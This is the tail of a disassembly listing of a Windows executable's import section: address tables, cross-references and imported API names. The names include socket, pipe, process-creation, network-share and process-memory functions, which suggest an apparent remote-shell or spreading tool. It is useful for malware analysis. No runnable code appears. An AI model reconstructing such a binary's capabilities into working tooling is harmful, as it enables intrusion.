dword_4F53B0	dd 77F53275h		; DATA XREF: sub_40CB69+6Br
					; sub_40CB69+22Fr ...
dword_4F53B4	dd 77E79D8Ch		; DATA XREF: sub_40E2D9+94r
					; sub_40E3C7+184r ...
dword_4F53B8	dd 77E737DEh		; DATA XREF: sub_40E3C7+43Dr
					; .text:0043ACE0r
dword_4F53BC	dd 77E78B82h		; DATA XREF: sub_40E3C7+1ACr
					; sub_40E3C7+49Cr ...
dword_4F53C0	dd 77E7A837h		; DATA XREF: sub_40E3C7+AAr
					; sub_410134+1CBr ...
dword_4F53C4	dd 77E616B4h		; DATA XREF: sub_40EF74+19Br
					; sub_411756+115r ...
dword_4F53C8	dd 77E79CE3h		; DATA XREF: sub_40EF74+111r
					; sub_4119A0+77r ...
dword_4F53CC	dd 77E79C90h		; DATA XREF: sub_40EF74+FDr
					; sub_40EF74+10Ar ...
dword_4F53D0	dd 77E7727Ah		; DATA XREF: sub_40EF74+74r
					; sub_4118A7+23r ...
dword_4F53D4	dd 77E64106h		; DATA XREF: sub_40FFB1+A0r
					; sub_41B92C+1B6r ...
dword_4F53D8	dd 77E64006h		; DATA XREF: sub_40FFB1+8Cr
					; sub_41B92C+19Fr ...
dword_4F53DC	dd 77E793EFh		; DATA XREF: sub_410134+1F5r
					; sub_410A71+38r ...
dword_4F53E0	dd 77E78EAAh		; DATA XREF: sub_4103EB+5ECr
					; sub_41793D+BAr ...
dword_4F53E4	dd 77E79424h		; DATA XREF: sub_4103EB+280r
					; sub_417DE6+135r ...
dword_4F53E8	dd 77E794BFh		; DATA XREF: sub_4103EB+272r
					; sub_417DE6+123r ...
dword_4F53EC	dd 77E75E67h		; DATA XREF: sub_4103EB+212r
					; sub_4103EB+5DBr ...
dword_4F53F0	dd 77E75D9Eh		; DATA XREF: sub_4103EB+201r
					; sub_41793D+26r ...
dword_4F53F4	dd 77E78C81h		; DATA XREF: sub_410A71+6Cr
					; sub_416980+259r ...
dword_4F53F8	dd 77E76968h		; DATA XREF: sub_4114CE+5Fr
					; .text:004307CAr ...
dword_4F53FC	dd 77E74C59h		; DATA XREF: sub_411756+C7r
					; .text:0043AD46r
dword_4F5400	dd 77EC7C51h		; DATA XREF: sub_411B2B+5Er
					; .text:0043AD4Cr
dword_4F5404	dd 77E70F89h		; DATA XREF: sub_412694+Er
					; sub_415C3F+Dr ...
dword_4F5408	dd 77E802FCh		; DATA XREF: sub_413589+18Cr
					; sub_413589+2D4r ...
dword_4F540C	dd 77E6D75Bh		; DATA XREF: sub_413589+182r
					; sub_4142EC+FFr ...
dword_4F5410	dd 77E80618h		; DATA XREF: sub_417A8B+170r
					; sub_419471+D4r ...
dword_4F5414	dd 77F51597h		; DATA XREF: sub_417C5D+41r
					; sub_417C5D+F5r ...
dword_4F5418	dd 77F516F8h		; DATA XREF: sub_417C5D+21r
					; sub_417DE6+4Ar ...
dword_4F541C	dd 77E77CB7h		; DATA XREF: sub_417C5D+10r
					; sub_417DE6+40r ...
dword_4F5420	dd 77E7F01Ah		; DATA XREF: sub_417DE6+88r
					; sub_417F8D+55r ...
dword_4F5424	dd 77E61A54h		; DATA XREF: sub_417DE6+56r
					; sub_417F8D+97r ...
dword_4F5428	dd 77E7C3A5h		; DATA XREF: sub_417DE6+34r
					; sub_417F8D+2Er ...
dword_4F542C	dd 77E76A60h		; DATA XREF: sub_418E65+2Dr
					; .text:0043AD94r
dword_4F5430	dd 77E71B14h		; DATA XREF: sub_418EEF+26r
					; .text:0043AD9Ar
dword_4F5434	dd 77E7166Fh		; DATA XREF: sub_418EEF+1Dr
					; .text:0043ADA0r
dword_4F5438	dd 77E75090h		; DATA XREF: sub_418F2A+6Cr
					; .text:0043ADA6r
dword_4F543C	dd 77E74D76h		; DATA XREF: sub_418F2A+39r
					; .text:0043ADACr
dword_4F5440	dd 77E77797h		; DATA XREF: sub_418F2A+28r
					; .text:0043ADB2r
dword_4F5444	dd 77E7011Ah		; DATA XREF: sub_418FAF+96r
					; .text:0043ADB8r
dword_4F5448	dd 77E73CE2h		; DATA XREF: sub_418FAF+60r
					; .text:0043ADBEr
dword_4F544C	dd 77E668D9h		; DATA XREF: sub_4190F6+15Dr
					; .text:0043ADC4r
dword_4F5450	dd 77E79924h		; DATA XREF: sub_419A25+13r
					; ___crtLCMapStringA+2A5r ...
dword_4F5454	dd 77E77CCEh		; DATA XREF: sub_419AF7+Fr
					; __mbstowcs_lk+BFr ...
dword_4F5458	dd 77E76A2Eh		; DATA XREF: sub_41A589+DEr
					; .text:0043ADD6r
dword_4F545C	dd 77E7FF65h		; DATA XREF: sub_41A9F0+5Ar
					; .text:0043ADDCr
dword_4F5460	dd 77EB7624h		; DATA XREF: sub_41A9F0+3Dr
					; .text:0043ADE2r
dword_4F5464	dd 77E6C29Dh		; DATA XREF: sub_41B081+1EAr
					; .text:0043ADE8r
dword_4F5468	dd 77E76C1Ah		; DATA XREF: sub_41B92C+1CFr
					; .text:0043ADEEr
dword_4F546C	dd 77E73196h		; DATA XREF: __CrtIsValidPointer+2Ar
					; ___sbh_heap_check+19r ...
dword_4F5470	dd 77E7339Ch		; DATA XREF: __CrtIsValidPointer+12r
					; sub_4331E0+13r ...
dword_4F5474	dd 77E6C924h		; DATA XREF: sub_41D910+93r
					; sub_41D910+102r ...
dword_4F5478	dd 77F6183Eh		; DATA XREF: sub_43AE06r
dword_4F547C	dd 77E76E3Dh		; DATA XREF: _time+9Fr	__tzset_lk+5Er	...
dword_4F5480	dd 77E61608h		; DATA XREF: _time+17r	.text:0043AE12r
dword_4F5484	dd 77E778C5h		; DATA XREF: __strupr+76r __strupr+B6r ...
dword_4F5488	dd 77E777EFh		; DATA XREF: __strupr+62r _tolower+2Cr ...
dword_4F548C	dd 77E6177Ah		; DATA XREF: start+E2r	__ioinit+87r ...
dword_4F5490	dd 77E7C938h		; DATA XREF: start+B3r	.text:0043AE2Ar
dword_4F5494	dd 77E7C486h		; DATA XREF: start+26r	.text:0043AE30r
dword_4F5498	dd 77EB36A5h		; DATA XREF: sub_422760+3r
					; .text:0043AE36r
dword_4F549C	dd 77E79C3Dh		; DATA XREF: __CrtSetReportFile+3Er
					; __CrtSetReportFile+58r ...
dword_4F54A0	dd 77E9BD34h		; DATA XREF: __CrtDbgReport+102r
					; __CrtDbgReport+2F3r ...
dword_4F54A4	dd 77E79908h		; DATA XREF: __mtinitlocks+9r
					; __mtinitlocks+16r ...
dword_4F54A8	dd 77EB8503h		; DATA XREF: __lockerr_exit+9r
					; .text:0043AE4Er
dword_4F54AC	dd 77F5722Fh		; DATA XREF: sub_423880+DAr
					; sub_423880+1BBr ...
dword_4F54B0	dd 77E79E34h		; DATA XREF: sub_424410+4A8r
					; sub_424410+545r ...
dword_4F54B4	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+A3r
					; ___sbh_alloc_new_group+A7r ...
dword_4F54B8	dd 77E7AC5Eh		; DATA XREF: sub_426EF0+5Fr
					; .text:0043AE66r
dword_4F54BC	dd 77E76E0Bh		; DATA XREF: sub_427120+57r
					; sub_427120+7Cr ...
dword_4F54C0	dd 77E7C726h		; DATA XREF: sub_427120+14r
					; .text:0043AE72r
dword_4F54C4	dd 77E77CC4h		; DATA XREF: __mtinit+64r __getptd+66r ...
dword_4F54C8	dd 77E79B39h		; DATA XREF: __mtinit+4Ar __getptd+50r ...
dword_4F54CC	dd 77E7C5B4h		; DATA XREF: __mtinit+9r
					; .text:0043AE84r
dword_4F54D0	dd 77E72B29h		; DATA XREF: __mtterm+17r
					; .text:0043AE8Ar
dword_4F54D4	dd 77F51587h		; DATA XREF: __getptd+8Br
					; .text:0043AE90r
dword_4F54D8	dd 77E78B61h		; DATA XREF: __getptd+15r
					; __freeptd+1Cr ...
dword_4F54DC	dd 77E73163h		; DATA XREF: .text:00429303r
					; .text:0043AE9Cr
dword_4F54E0	dd 77E7849Fh		; DATA XREF: __setmbcp+1C7r
					; _setSBUpLow+17r ...
dword_4F54E4	dd 77E7A13Fh		; DATA XREF: _getSystemCP+35r
					; .text:0043AEA8r
dword_4F54E8	dd 77E6C703h		; DATA XREF: _getSystemCP+1Dr
					; .text:0043AEAEr
dword_4F54EC	dd 77E6D706h		; DATA XREF: __raise_exc+35Ar
					; .text:0043AEB4r ...
		dd 0
dword_4F54F4	dd 71B2ACCBh		; DATA XREF: sub_43AB96r
		dd 0
dword_4F54FC	dd 71AB4122h		; DATA XREF: sub_4155C6+D4r
					; .text:0043AC14r
dword_4F5500	dd 71AB1746h		; DATA XREF: sub_4130E1+1DEr
					; .text:0043AC0Er
dword_4F5504	dd 71AB401Ch		; DATA XREF: sub_4130E1+21Br
					; sub_4130E1+243r ...
dword_4F5508	dd 71AB1836h		; DATA XREF: sub_40FA39+6Er
					; sub_40FAB6+8Er ...
dword_4F550C	dd 71AB41DAh		; DATA XREF: sub_40F402+4Ar
					; sub_40FA39+15r ...
dword_4F5510	dd 71AB3F8Dh		; DATA XREF: sub_40F402+5Ar
					; .text:0043ABF6r
dword_4F5514	dd 71AB155Ah		; DATA XREF: sub_40F402+8Dr
					; sub_414146+70r ...
dword_4F5518	dd 71AB3ECEh		; DATA XREF: sub_40F402+B5r
					; .text:0043ABEAr
dword_4F551C	dd 71AB5DE2h		; DATA XREF: sub_40F402+C9r
					; .text:0043ABE4r
dword_4F5520	dd 71AB868Dh		; DATA XREF: sub_40F402+171r
					; .text:0043ABDEr
dword_4F5524	dd 71AB5A01h		; DATA XREF: sub_4156AF+20r
					; .text:0043AC1Ar
dword_4F5528	dd 71AB12F8h		; DATA XREF: sub_40E8CF+27r
					; sub_40EA11+27r ...
dword_4F552C	dd 71AB1746h		; DATA XREF: sub_40E8CF+36r
					; sub_40EA11+36r ...
dword_4F5530	dd 71AB3E5Dh		; DATA XREF: sub_40E8CF+59r
					; sub_40EA11+59r ...
dword_4F5534	dd 71AB5690h		; DATA XREF: sub_40E8CF+6Ar
					; sub_40EA11+6Ar ...
dword_4F5538	dd 71AB1A6Dh		; DATA XREF: sub_40E8CF+E0r
					; sub_40EA11+E0r ...
dword_4F553C	dd 71AB3C22h		; DATA XREF: sub_40DB0C+AFr
					; sub_40E8CF+45r ...
dword_4F5540	dd 71AB1AF4h		; DATA XREF: sub_40D839+12r
					; sub_40E8CF+C3r ...
dword_4F5544	dd 71AB1890h		; DATA XREF: sub_40D69B+4Cr
					; sub_40F402+106r ...
dword_4F5548	dd 71AB1B7Bh		; DATA XREF: sub_43ABA2r
dword_4F554C	dd 71AB157Eh		; DATA XREF: sub_401CC7+2F9Dr
					; .text:0043AB9Cr
dword_4F5550	dd 71AB2BBFh		; DATA XREF: .text:0040EB12r
					; .text:0043ABD8r
		align 8
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aA_2		db 'A',0
aWsasocketa_0	db 'WSASocketA',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 10h
		db '',0
aExitprocess	db 'ExitProcess',0
a4_0		db '4',0
aClosehandle	db 'CloseHandle',0
aF_2		db 'f',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 17Dh
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db 0C1h	; 
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 356h
aSleep		db 'Sleep',0
aO_1		db 'o',0
aCreatethread	db 'CreateThread',0
		align 2
aG_1		db '',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F0286h, 72506E65h, 7365636Fh, 1430073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db  71h	; q
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aC_7		db 'C',0
aCopyfilea	db 'CopyFileA',0
		db  19h
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 15Eh
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  7Fh	; 
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 10h
		db  90h	; 
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 1DFh
aGettickcount	db 'GetTickCount',0
		align 2
		dw 35Fh
aTerminatethrea	db 'TerminateThread',0
		dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h
		dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h
		dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	654701E9h, 72655674h, 6E6F6973h
		dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aS_40		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 224h
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aB_1		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 3A4h
aWritefile	db 'WriteFile',0
aO_2		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 2B5h
aReadfile_0	db 'ReadFile',0
		align 2
aS_41		db 'S',0
aCreatefilea	db 'CreateFileA',0
		dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
		dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
aE_1		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
		dd 7A695365h, 0CE0065h,	646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db '',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db '',0
aFindnextfilea	db 'FindNextFileA',0
		db '',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 31Bh
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0EEh	; 
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db  8Eh	; 
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 0FCh
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 173h
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 2A3h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db 0A4h	; 
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment	db 'GetEnvironmentVariableW',0
		db  16h
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 4
		db  10h
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db 0A3h	; 
		db 1, 47h, 65h
aTprocessheap	db 'tProcessHeap',0
		align 2
		dw 389h
aVirtualqueryex	db 'VirtualQueryEx',0
		align 4
		db 0B8h	; 
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
		dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
		dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6E550371h, 5670616Dh,	4F776569h, 6C694666h, 2680065h
		dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 10h
		db  1Fh
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 165h
aGetfiletime	db 'GetFileTime',0
		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  94h	; 
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 275h
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0C3h	; 
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db  5Ah	; Z
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 291h
aPeeknamedpipe	db 'PeekNamedPipe',0
		dw 178h
aGetlogicaldr_0	db 'GetLogicalDrives',0
		align 2
		dw 204h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db  36h	; 6
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db  33h	; 3
		db 2, 49h, 73h
aBadreadptr	db 'BadReadPtr',0
		align 10h
		db  20h
		db 2, 48h, 65h
aApvalidate	db 'apValidate',0
		align 10h
		db 0D7h	; 
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db 0E2h	; 
		db 1, 47h, 65h
aTtimezoneinfor	db 'tTimeZoneInformation',0
		align 2
		dw 1C8h
aGetsystemtime	db 'GetSystemTime',0
		dw 228h
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
		dw 22Ch
aInterlockedinc	db 'InterlockedIncrement',0
		align 2
		dw 1B7h
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h
		dd 56746547h, 69737265h, 6E6Fh,	65440078h, 42677562h, 6B616572h
		dd 1B90000h, 53746547h,	61486474h, 656C646Eh, 28D0000h
aOutputdebugstr	db 'OutputDebugStringA',0
		align 4
		db  23h	; #
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		db '',0
aFatalappexita	db 'FatalAppExitA',0
		db  1Ah
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 383h
aVirtualfree	db 'VirtualFree',0
		db  81h	; 
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  58h	; X
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 214h
aHeapdestroy	db 'HeapDestroy',0
		dd 65480212h, 72437061h, 65746165h, 1460000h
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 10h
		dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h
		dd 636F6C6Ch, 3640000h,	46736C54h, 656572h, 65530328h
		dd 73614C74h, 72724574h, 726Fh,	6C540365h, 74654773h, 756C6156h
		dd 1450065h, 43746547h,	65727275h, 6854746Eh, 64616572h
		dd 1040000h, 43746547h,	666E4950h, 0FD006Fh, 41746547h
		dd 5043h, 65470193h, 4D454F74h,	5043h, 615202A7h, 45657369h
		dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h
		dd 41676E69h, 2450000h,	614D434Ch, 72745370h, 57676E69h
		dd 36E0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		dw 0F6h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db 0F7h	; 
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 155h
aGetenvironme_0	db 'GetEnvironmentStrings',0
		dw 157h
aGetenvironme_1	db 'GetEnvironmentStringsW',0
		align 4
		db  24h	; $
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 166h
aGetfiletype	db 'GetFileType',0
		db  37h	; 7
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
aU_1		db '',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 10h
		db 0BAh	; 
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1BDh
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  4Ah	; J
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 230h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 241h
aIsvalidlocale	db 'IsValidLocale',0
		dw 23Fh
aIsvalidcodepag	db 'IsValidCodePage',0
aP_1		db '',0
aEnumsystemloca	db 'EnumSystemLocalesA',0
		align 2
		dw 1E3h
aGetuserdefault	db 'GetUserDefaultLCID',0
		align 10h
		dd 65530310h, 646E4574h, 6946664Fh, 656Ch, 65470175h, 636F4C74h
		dd 49656C61h, 576F666Eh, 3A0000h, 706D6F43h, 53657261h
		dd 6E697274h, 4167h, 6F43003Bh,	7261706Dh, 72745365h, 57676E69h
		dd 3130000h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
_idata		ends

; Section 6. (virtual address 000FC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FB200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FC000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start